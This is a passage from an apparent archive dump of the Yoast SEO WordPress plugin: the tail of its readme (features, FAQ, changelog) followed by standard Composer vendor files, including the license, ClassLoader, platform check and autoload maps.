* **Keyword research within the plugin** with the Semrush integration. Find out what related keywords people are searching for, so you can optimize your content to reach more audiences.

* **Track your rankings in Yoast SEO** with the Wincher integration. Yoast SEO and Wincher show how your content and keywords rank in Google.

* Are you using Elementor to build your website? No worries because **Yoast SEO integrates with Elementor**. Take advantage of all Yoast SEO's benefits within your favorite website builder!

* **Advanced AI features in Yoast SEO Premium**, write titles and meta descriptions at a click of a button and receive suggested edits to your content to take it over the 'SEO' finish line.

#### KEEP YOUR SITE IN PERFECT SHAPE

Whether you are an entrepreneur, blogger or content creator, a developer or a business owner, Yoast SEO helps you keep your website in perfect shape by:

* Fine-tuning the engine of your website, so you can work on creating great content! With Yoast SEO, **technical optimization becomes effortless**, allowing you to prioritize what truly matters.

* **Structure your website's content easily** using Yoast SEO's cornerstone content features, enabling search engines to understand and index your most important pages effectively.

* **Translate valuable content into structured data**, allowing search engines to fully comprehend your website's meaning and context.

* Yoast SEO includes a **powerful front-end SEO inspector** that lets you preview and fine-tune the SEO settings directly on your front end. With this intuitive tool, you can easily optimize elements such as meta titles, meta descriptions, URL slugs, robots meta tags, and structured data by seeing their appearance in real-time.

Helping you manage your team: with our SEO roles, you can give colleagues access to specific sections of the Yoast SEO plugin.

* **Yoast SEO has a regular 2-week update cycle**, ensuring you always stay up-to-date with the latest development and updates from search engines.

#### POWERFUL INTEGRATION WITH OTHER TOOLS

Yoast SEO seamlessly integrates with various themes, plugins, and tools to enhance the user experience and improve your WordPress SEO workflow.

* Utilize the full potential of the [Advanced Custom Fields](https://wordpress.org/plugins/advanced-custom-fields/) plugin when combined with the [ACF Content Analysis for Yoast SEO](https://wordpress.org/plugins/acf-content-analysis-for-yoast-seo/) plugin, and reap the benefits of Yoast SEO's powerful analysis.

* Seamlessly integrate Yoast SEO with the [Elementor](https://wordpress.org/plugins/elementor/) website builder, empowering you to optimize your stunning designs effectively.

* Elevate your site search quality with [Algolia](https://wordpress.org/plugins/wp-search-with-algolia/) integration, ensuring users can effortlessly find the content they want.

* Combine Yoast SEO with Semrush, a leading online marketing tool. Access comprehensive keyword data directly within Yoast SEO, empowering you to supercharge your SEO strategy with data-driven insights.

* Connect your Yoast SEO plugin with Wincher, a powerful SEO tracking tool. Monitor your keyword rankings, and track your website's visibility in search results.

#### TRUST THE EXPERTS

Yoast is powered by expert developers, testers, software architects, and SEO consultants. They work constantly to stay at the cutting edge of WordPress SEO and to improve the plugin with every release.

#### WE ARE THERE FOR THE LONG RUN

We're here to help you succeed with your SEO goals because empowering our users is at the core of our philosophy! 

If you're looking for a structured learning path, our [Yoast SEO academy](https://yoa.st/3ri) offers free and paid online courses. Any of our paid plans provides access to all the courses at no extra charge. We also have a treasure trove of information in our SEO blog, regular newsletter and webinars to keep you up-to-date with all the latest industry news.

### THE PREMIUM ADVANTAGE

Not only do you get many additional benefits by upgrading to [Yoast SEO Premium](https://yoa.st/1v8), but you'll also get 24/7 personalized support that takes away your worry.

* Unlock our [AI features](https://yoa.st/51c); Yoast AI Optimize and Yoast AI Generate. Perfect for marketing professionals, freelance writers, and content strategists, Yoast AI features enable customers of all technical levels to apply SEO best practice to their content at the click of a button.

* Optimize for up to five keyword synonyms by adding variants. Add up to four related synonyms of your keyword to expand your possibilities. You get the full SEO analysis for each.

* Optimizes your articles for different word forms, singular and plural variations, different verb forms, synonyms, and related keyphrases, thanks to the semantic understanding technology in Yoast SEO Premium.

* Seamlessly handle URL changes or page deletions with our redirect manager. Automatically create redirects to prevent "404: page not found" errors and retain valuable traffic and backlinks.

* Get internal linking suggestions in real-time. The WordPress SEO plugin enhances your article's depth and authority by recommending related posts to link to.

* Gain precise control over your page's appearance on social networks like Facebook and X with social media previews. Customize your social presence and entice users to engage with your content effectively.

* Simplify your SEO workflows and get guidance to work on time-consuming SEO tasks, like finding unlinked content, with the Yoast SEO workouts.

* Get actionable feedback on using inclusive vocabulary to enhance your writing and make it accessible to a broader audience. (Note: This feature is currently available in English and beta.)

* Take advantage of the IndexNow integration, which instantly pings search engines like Microsoft Bing every time you publish or update content to ensure timely indexing.

* Easily create optimized SEO titles and meta descriptions at the touch of a button, thanks to generative AI. Crafting optimized and engaging SEO titles and meta descriptions has never been faster and easier.

* Avoid your content being used to train AI bots: Effortlessly safeguard your intellectual property, uphold data privacy, and maintain control over content by blocking AI bots from scraping it. These AI web crawlers include OpenAI's GPTBot, Common Crawl's CCBot and Google-Extended, used to train Google Gemini.

### EXTEND YOUR WORDPRESS SEO

Take your WordPress SEO to new heights with these powerful Yoast SEO add-ons:

* [Yoast Local SEO](https://yoa.st/1uu): Optimize your website for a local audience, drive foot traffic to your stores, and establish a strong presence in local SERPs.

* [Yoast Video SEO](https://yoa.st/1uw): Improves the performance of videos and ensures that Google fully understands its content. This helps you rank your videos higher in video search results.

* [Yoast News SEO](https://yoa.st/1uv): Amplify your visibility and performance in Google News, allowing your news website to reach a broader audience.

* [Yoast WooCommerce SEO](https://yoa.st/3rh): Enhance your ecommerce store's discoverability with extra tools designed specifically for online stores, helping you drive more targeted traffic and dominate the search results for your products. It has generative AI tools to help you write great titles and meta descriptions for your products! Also, use WooCommerce SEO to easily import and export global identifiers like GTIN8, UPC, and ISBN for your products.

### BUG REPORTS

Find a bug in Yoast SEO? We welcome your bug reports! Please report bugs in the WordPress SEO [repository on GitHub](https://github.com/Yoast/wordpress-seo). Note that GitHub is not a support forum but an efficient platform for addressing and resolving issues efficiently.

### THERE'S MORE TO LEARN ABOUT SEO

For a comprehensive resource on search engine optimization and Yoast SEO, please explore our [website](https://yoast.com), which is rich with insights and inspiration. Seek guidance in our extensively curated help center, designed to help you provide the knowledge to optimize your website effectively.

Take your SEO skills to new heights with "[WordPress SEO - The Definitive Guide](https://yoa.st/1v6)" by Yoast - a must-read for WordPress SEO enthusiasts. Discover more exceptional plugins and solutions by Team Yoast, tailored to enhance your digital presence and achieve unparalleled success.

== Installation ==
Starting with Yoast SEO consists of just two steps: installing and setting up the plugin. Yoast SEO is designed to work with your site’s specific needs, so don’t forget to go through the Yoast SEO first-time configuration as explained in the ‘after activation’ step! For the most up-to-date guidance on how to install Yoast SEO products, [please visit our help center](https://yoast.com/help/yoast-installation-manuals/#h-yoast-seo-and-yoast-seo-premium-for-wordpress). 

== Frequently Asked Questions ==

= How do the XML Sitemaps in the Yoast SEO plugin work? =

Having an XML sitemap can be beneficial for SEO, as Google can retrieve essential pages of a website very fast, even if the internal linking of a site isn’t flawless.
The sitemap index and individual sitemaps are updated automatically as you add or remove content and will include the post types you want search engines to index. Post Types marked as noindex will not appear in the sitemap. [Learn more about XML Sitemaps](https://yoa.st/3qt).

= How can I add my website to Google Search Console? =

It is straightforward to add your website to Google Search Console.
1. Create a Google Search Console account and login into your account.
2. Click ‘Add a property’ under the search drop-down.
3. Enter your website URL in the box and click ‘Continue’.
4. Click the arrow next to ‘HTML tag’ to expand the option.
5. Copy the meta tag.
6. Log in to your WordPress website.
7. Click on ‘SEO’ in the dashboard.
8. Click on ‘General’.
9. Click on the ‘Webmaster Tools’ tab.
10. Paste the code in the Google field and click ‘Save Changes’.
11. Go back to Google Search Console and click ‘Verify’.

If you want more details steps, please visit [our article on our help center](https://yoa.st/3qu).

= How do I implement Yoast SEO breadcrumbs? =

The steps below are a temporary solution as manual edits made to theme files may be overwritten with future theme updates. Please contact the theme developer for a permanent solution. We’ve written an article about the [importance of breadcrumbs for SEO](https://yoa.st/3qv).

To implement the [breadcrumbs](https://yoa.st/3qw) function in Yoast SEO, you will have to edit your theme. We recommend that prior to any editing of the theme files, a backup is taken. Your host provider can help you take a backup.
Copy the following code into your theme where you want the breadcrumbs to be. If you are not sure, you will need to experiment with placement:

<code>
<?php
if ( function_exists( 'yoast_breadcrumb' ) ) {
    yoast_breadcrumb( '<p id="breadcrumbs">','</p>' );
}
?>
</code>

Common places where you could place your breadcrumbs are inside your `single.php` and/or `page.php` file just above the page’s title. Another option that makes it really easy in some themes is by just pasting the code in `header.php` at the very end.

In most non-WooTheme themes, this code snippet should not be added to your `functions.php` file.
Alternatively, you can manually add the breadcrumb shortcode to individual posts or pages: `[wpseo_breadcrumb]`

If you need more details or a step by step guide, read our [Implementation guide for Yoast SEO breadcrumbs](https://yoa.st/3qx).

= How do I noindex URLS? =

Yoast SEO provides multiple options for setting a URL or group of URLs to noindex. [Read more about how to do this in this guide](https://yoa.st/3qy/).

= Google shows the wrong description, how do I fix this? =

If you’ve crafted nice meta descriptions for your blog posts, nothing is more annoying than Google showing another description for your site completely in the search result snippet.

Possible causes could be:
1. wrong description in code
2. Google cache is outdated
3. Search term manipulation
4. Google ignored the meta description

You can [read more here on how to solve the issue with the wrong description](https://yoa.st/3qz).

= How often is Yoast SEO updated? =

Yoast SEO is updated every two weeks. If you want to know why, please read [this post on why we release every two weeks](https://yoa.st/3q-)!

= How do I get support? =

As our free plugin is used by millions of people worldwide, we cannot offer you all one on one support. If you have trouble with the Yoast SEO for WordPress plugin, you can get help on the support forums here at [wordpress.org](https://wordpress.org/support/plugin/wordpress-seo/) or by checking out our help center at [yoast.com/help/](https://yoa.st/3r1).

The plugins you buy at Yoast are called ‘premium plugins’ (even if Premium isn’t in its name) and include a complete year of free updates and premium support. This means you can contact our support team if you have any questions about that plugin.

[Read more on how to get support](https://yoa.st/3r2)

= What happens to my data if I enable usage tracking? =

[This page on yoast.com explains what data we collect to improve Yoast SEO](https://yoa.st/4w7). We only collect data when you explicitly opt in. Read more about how we handle your data in [our Privacy Policy](https://yoa.st/4w8).

= I have a different question than listed here =

Your question has most likely been answered on our help center: [yoast.com/help/](https://yoa.st/1va).

== Screenshots ==

1. The modern interface makes Yoast SEO easy to work with.
2. Easily manage how your posts and pages appear in SERPs.
3. Yoast SEO Premium has extra crawl optimization options.
4. Yoast SEO integrates with tools like Semrush and Wincher.
5. The famous SEO and readability analyses in Yoast SEO.
6. See what your post looks like in Google.
7. The First-time configuration helps you get started quickly.
8. The inclusive language analysis in Yoast SEO.

== Changelog ==

= 24.2 =

Release date: 2025-01-07

Yoast SEO 24.2 brings more enhancements and bugfixes. [Find more information about our software releases and updates here](https://yoa.st/release-7-1-25).

#### Enhancements

* Improves the tooltips accessibility in the related keyphrase suggestions modal.

#### Bugfixes

* Fixes a bug where a deprecation message would appear in PHP 8+ when saving a post containing images with invalid sources. Props to [kkmuffme](https://github.com/kkmuffme).
* Fixes a bug where a TypeError would occur when checking for capabilities of SEO Manager user role when the roles were not passed as an array. Props to [kfeinUI](https://github.com/kfeinUI).
* Fixes a bug where styles on buttons, intent badge and modal links would not adjust the direction when on RTL view.

#### Other

* Changes the title text on the Yoast installation success page.
* Fixes a console warning about ReactDOM.render being no longer supported in React 18.

= 24.1 =

Release date: 2024-12-18

Yoast SEO 24.1 adds the Yoast SEO Dashboard to monitor your site's SEO performance in one overview. Find more about Yoast SEO 24.1 in [our release post](https://yoa.st/release-18-12-24)!

#### Enhancements

* Introduces the Yoast Dashboard, a place where site administrators can check the SEO and Readability performance of the site's posts.
* Adds `Not analyzed` as an option in the readability filter in the posts page.
* Enhances the existing `Needs improvement` option in the readability filter in the posts page, to include posts that don't have enough content as well.

#### Bugfixes

* Fixes a bug where posts that have been set to explicitly not be noindexed and had no keyword set would not appear in the relevant SEO filter in the posts page.

#### Other

* Improves the translatability of feedback for the _paragraph length_ and the _sentence length_ assessments.

= Earlier versions =
For the changelog of earlier versions, please refer to [the changelog on yoast.com](https://yoa.st/yoast-seo-changelog).
wordpress-seo/vendor/composer/LICENSE000064400000002056147510273070013522 0ustar00
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

wordpress-seo/vendor/composer/ClassLoader.php000064400000037304147510273070015426 0ustar00<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    https://www.php-fig.org/psr/psr-0/
 * @see    https://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    /** @var ?string */
    private $vendorDir;

    // PSR-4
    /**
     * @var array[]
     * @psalm-var array<string, array<string, int>>
     */
    private $prefixLengthsPsr4 = array();
    /**
     * @var array[]
     * @psalm-var array<string, array<int, string>>
     */
    private $prefixDirsPsr4 = array();
    /**
     * @var array[]
     * @psalm-var array<string, string>
     */
    private $fallbackDirsPsr4 = array();

    // PSR-0
    /**
     * @var array[]
     * @psalm-var array<string, array<string, string[]>>
     */
    private $prefixesPsr0 = array();
    /**
     * @var array[]
     * @psalm-var array<string, string>
     */
    private $fallbackDirsPsr0 = array();

    /** @var bool */
    private $useIncludePath = false;

    /**
     * @var string[]
     * @psalm-var array<string, string>
     */
    private $classMap = array();

    /** @var bool */
    private $classMapAuthoritative = false;

    /**
     * @var bool[]
     * @psalm-var array<string, bool>
     */
    private $missingClasses = array();

    /** @var ?string */
    private $apcuPrefix;

    /**
     * @var self[]
     */
    private static $registeredLoaders = array();

    /**
     * @param ?string $vendorDir
     */
    public function __construct($vendorDir = null)
    {
        $this->vendorDir = $vendorDir;
    }

    /**
     * @return string[]
     */
    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
        }

        return array();
    }

    /**
     * @return array[]
     * @psalm-return array<string, array<int, string>>
     */
    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    /**
     * @return array[]
     * @psalm-return array<string, string>
     */
    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    /**
     * @return array[]
     * @psalm-return array<string, string>
     */
    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    /**
     * @return string[] Array of classname => path
     * @psalm-return array<string, string>
     */
    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param string[] $classMap Class to filename map
     * @psalm-param array<string, string> $classMap
     *
     * @return void
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string          $prefix  The prefix
     * @param string[]|string $paths   The PSR-0 root directories
     * @param bool            $prepend Whether to prepend the directories
     *
     * @return void
     */
    public function add($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    (array) $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                (array) $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string          $prefix  The prefix/namespace, with trailing '\\'
     * @param string[]|string $paths   The PSR-4 base directories
     * @param bool            $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    (array) $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                (array) $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string          $prefix The prefix
     * @param string[]|string $paths  The PSR-0 base directories
     *
     * @return void
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string          $prefix The prefix/namespace, with trailing '\\'
     * @param string[]|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     *
     * @return void
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     *
     * @return void
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     *
     * @return void
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     *
     * @return void
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);

        if (null === $this->vendorDir) {
            return;
        }

        if ($prepend) {
            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
        } else {
            unset(self::$registeredLoaders[$this->vendorDir]);
            self::$registeredLoaders[$this->vendorDir] = $this;
        }
    }

    /**
     * Unregisters this instance as an autoloader.
     *
     * @return void
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));

        if (null !== $this->vendorDir) {
            unset(self::$registeredLoaders[$this->vendorDir]);
        }
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return true|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            includeFile($file);

            return true;
        }

        return null;
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    /**
     * Returns the currently registered loaders indexed by their corresponding vendor directories.
     *
     * @return self[]
     */
    public static function getRegisteredLoaders()
    {
        return self::$registeredLoaders;
    }

    /**
     * @param  string       $class
     * @param  string       $ext
     * @return string|false
     */
    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 *
 * @param  string $file
 * @return void
 * @private
 */
function includeFile($file)
{
    include $file;
}
wordpress-seo/vendor/composer/platform_check.php000064400000001635147510273070016211 0ustar00<?php

// platform_check.php @generated by Composer

$issues = array();

if (!(PHP_VERSION_ID >= 70205)) {
    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.5". You are running ' . PHP_VERSION . '.';
}

if ($issues) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
        } elseif (!headers_sent()) {
            echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
        }
    }
    trigger_error(
        'Composer detected issues in your platform: ' . implode(' ', $issues),
        E_USER_ERROR
    );
}
wordpress-seo/vendor/composer/autoload_namespaces.php000064400000000225147510273070017231 0ustar00<?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
);
wordpress-seo/vendor/composer/autoload_files.php000064400000000360147510273070016214 0ustar00<?php

// autoload_files.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    '81db02b30f563b92907e271b66bd7559' => $vendorDir . '/yoast/whip/src/Facades/wordpress.php',
);
wordpress-seo/vendor/composer/autoload_static.php000064400000503057147510273070016414 0ustar00<?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit5ee83be5cc8ef65e2e67c43a537d8167
{
    public static $files = array (
        '81db02b30f563b92907e271b66bd7559' => __DIR__ . '/..' . '/yoast/whip/src/Facades/wordpress.php',
    );

    public static $prefixLengthsPsr4 = array (
        'Y' => 
        array (
            'Yoast\\WHIPv2\\' => 13,
        ),
        'C' => 
        array (
            'Composer\\Installers\\' => 20,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'Yoast\\WHIPv2\\' => 
        array (
            0 => __DIR__ . '/..' . '/yoast/whip/src',
        ),
        'Composer\\Installers\\' => 
        array (
            0 => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers',
        ),
    );

    public static $classMap = array (
        'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
        'Composer\\Installers\\AglInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AglInstaller.php',
        'Composer\\Installers\\AkauntingInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AkauntingInstaller.php',
        'Composer\\Installers\\AnnotateCmsInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php',
        'Composer\\Installers\\AsgardInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AsgardInstaller.php',
        'Composer\\Installers\\AttogramInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AttogramInstaller.php',
        'Composer\\Installers\\BaseInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/BaseInstaller.php',
        'Composer\\Installers\\BitrixInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/BitrixInstaller.php',
        'Composer\\Installers\\BonefishInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/BonefishInstaller.php',
        'Composer\\Installers\\BotbleInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/BotbleInstaller.php',
        'Composer\\Installers\\CakePHPInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CakePHPInstaller.php',
        'Composer\\Installers\\ChefInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ChefInstaller.php',
        'Composer\\Installers\\CiviCrmInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CiviCrmInstaller.php',
        'Composer\\Installers\\ClanCatsFrameworkInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ClanCatsFrameworkInstaller.php',
        'Composer\\Installers\\CockpitInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CockpitInstaller.php',
        'Composer\\Installers\\CodeIgniterInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php',
        'Composer\\Installers\\Concrete5Installer' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/Concrete5Installer.php',
        'Composer\\Installers\\ConcreteCMSInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ConcreteCMSInstaller.php',
        'Composer\\Installers\\CroogoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CroogoInstaller.php',
        'Composer\\Installers\\DecibelInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/DecibelInstaller.php',
        'Composer\\Installers\\DframeInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/DframeInstaller.php',
